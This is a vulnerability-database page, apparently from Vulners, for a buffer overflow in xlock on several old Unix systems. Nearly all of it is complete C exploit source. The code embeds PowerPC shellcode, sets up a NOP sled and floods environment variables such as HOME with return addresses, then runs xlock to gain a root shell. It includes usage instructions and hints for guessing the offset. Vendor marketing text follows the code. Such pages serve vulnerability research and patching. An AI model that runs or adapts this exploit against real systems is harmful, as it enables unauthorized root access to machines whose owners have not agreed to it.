Lucene search
K

BSD/OS 2.1,DG/UX <= 7.0,Debian Linux <= 1.3,HP-UX <= 10.34,IBM AIX <= 4.2,SGI IRIX <= 6.4,Solaris <= 2.5.1 xlock Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

xlock Buffer Overflow Vulnerability in Multiple Unix-like System

Code

                                                source: http://www.securityfocus.com/bid/224/info
 
The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access.

    /*
     *
     *   /usr/bin/X11/xlock exploit (kinda&#39; coded) by BeastMaster V
     *
     *   CREDITS: this code is simply a modified version of an exploit
     *   posted by Georgi Guninski ([email protected])
     *
     *   USAGE:
     *            $ cc -o foo -g aix_xlock.c
     *            $ ./foo 3200
     *            #
     *
     *   HINT: Try giving ranges from 3100 through 3400
     *   (If these ranges don&#39;t work, then run the brute
     *    korn shell script provided after the exploit)
     *
     *   DISCLAIMER: use this program in a responsible manner.
     *
     */

    #include &#60;stdio.h&#62;
    #include &#60;stdlib.h&#62;
    #include &#60;string.h&#62;

    extern int execv();

    #define MAXBUF 600

    unsigned int code[]={
            0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
            0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
            0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
            0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
            0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
            0x7c0903a6 , 0x4e800420, 0x0
    };

    char *createvar(char *name,char *value)
    {
            char *c;
            int l;

            l=strlen(name)+strlen(value)+4;
            if (! (c=malloc(l))) {perror(&#34;error allocating&#34;);exit(2);};
            strcpy(c,name);
            strcat(c,&#34;=&#34;);
            strcat(c,value);
            putenv(c);
            return c;
    }

    main(int argc,char **argv,char **env)
    {
            unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
            int min=200, max=300;
            unsigned int return_address;
            char *newenv[8];
            char *args[4];
            int offset=3200;

            if (argc==2) offset = atoi(argv[1]);

            pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

            *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
            *((unsigned short *)code+7)=(unsigned short) ((toc &#62;&#62; 16) & 0x0000f
fff);
            *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
            *((unsigned short *)code+13)=(unsigned short) ((eco &#62;&#62; 16) & 0x0000
ffff);

            return_address=(unsigned)&buf[0]+offset;

            for(nop=0;nop&#60;min;nop++) buf[nop]=0x4ffffb82;
            strcpy((char*)&buf[nop],(char*)&code);
            i=nop+strlen( (char*) &code)/4-1;

            for(i=0;i&#60;max-1;i++) frame[i]=return_address;
            frame[i]=0;

            newenv[0]=createvar(&#34;EGGSHEL&#34;,(char*)&buf[0]);
            newenv[1]=createvar(&#34;EGGSHE2&#34;,(char*)&buf[0]);
            newenv[2]=createvar(&#34;EGGSHE3&#34;,(char*)&buf[0]);
            newenv[3]=createvar(&#34;EGGSHE4&#34;,(char*)&buf[0]);
            newenv[4]=createvar(&#34;DISPLAY&#34;,getenv(&#34;DISPLAY&#34;));
            newenv[5]=createvar(&#34;HOME&#34;,(char*)&frame[0]);

            args[0]=&#34;xlock&#34;;
            execve(&#34;/usr/bin/X11/xlock&#34;,args,newenv);
            perror(&#34;Error executing execve \n&#34;);

    }

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21